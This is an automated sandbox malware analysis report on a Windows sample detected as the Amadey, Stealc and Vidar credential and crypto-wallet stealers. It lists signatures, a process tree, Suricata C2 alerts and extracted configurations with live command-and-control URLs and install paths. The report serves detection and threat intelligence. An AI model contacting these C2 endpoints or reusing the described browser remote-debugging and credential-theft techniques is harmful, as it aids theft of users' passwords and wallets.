Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559714
MD5:	ff8eb93e00cf8c24c14b4a9b713f2115
SHA1:	928bf41910af49788bfa067e0302312b33c9fb5b
SHA256:	d729e5ca94577644c249e1534a56301da41832b32e81bc4866742a908359238e
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6932 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FF8EB93E00CF8C24C14B4A9B713F2115)

chrome.exe (PID: 5444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2004,i,4550808738951624434,3396110950009088657,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2280,i,4679761206996037597,10384987067001823666,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 4564 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGCBFBGCGIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsGCBFBGCGIJ.exe (PID: 7988 cmdline: "C:\Users\user\DocumentsGCBFBGCGIJ.exe" MD5: AE0E62A9AE1F471958341B45817B6804)

skotes.exe (PID: 8604 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: AE0E62A9AE1F471958341B45817B6804)

msedge.exe (PID: 6944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8356 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6580 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8372 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6772 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8992 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5716 --field-trial-handle=2008,i,9242084691122634382,6870348634254363273,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8112 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AE0E62A9AE1F471958341B45817B6804)

skotes.exe (PID: 9160 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: AE0E62A9AE1F471958341B45817B6804)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000015.00000003.1799211641.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2481029988.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1813754900.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2552830550.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.1839804451.0000000000A01000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.1831173340.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1813754900.0000000000C8C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1823726536.0000000001A2E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.1860245205.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1294491681.00000000055C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.1871963481.0000000000A81000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.1819820486.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6932	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.DocumentsGCBFBGCGIJ.exe.a00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.a80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.a80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.a80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6932, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5444, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsGCBFBGCGIJ.exe" , ParentImage: C:\Users\user\DocumentsGCBFBGCGIJ.exe, ParentProcessId: 7988, ParentProcessName: DocumentsGCBFBGCGIJ.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 8604, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:18.549477+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:18.422003+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:18.943174+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:20.516987+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:19.065024+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49701	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:17.971432+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49701	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:07:17.492895+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50081	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T21:05:21.606258+0100	2803304	3	Unknown Traffic	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-20T21:05:44.215942+0100	2803304	3	Unknown Traffic	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:46.212160+0100	2803304	3	Unknown Traffic	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:47.516237+0100	2803304	3	Unknown Traffic	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:48.645243+0100	2803304	3	Unknown Traffic	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:52.389073+0100	2803304	3	Unknown Traffic	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:53.473132+0100	2803304	3	Unknown Traffic	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:59.719862+0100	2803304	3	Unknown Traffic	192.168.2.7	49899	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php3D	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllE	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phptware	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpa	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000015.00000003.1799211641.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6932.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CE9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE944C0 PK11_PubEncrypt,	0_2_6CE944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE94440 PK11_PrivDecrypt,	0_2_6CE94440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE64420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CEE25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE78670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CE9A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CEBA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CEC0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CE943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CEB7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE77D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CE77D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CEBBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CEB9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE93FF0 PK11_PrivDecryptPKCS1,	0_2_6CE93FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE99840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CE99840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE93850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CE93850

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.7:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49981 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1852942424.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1852942424.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49701
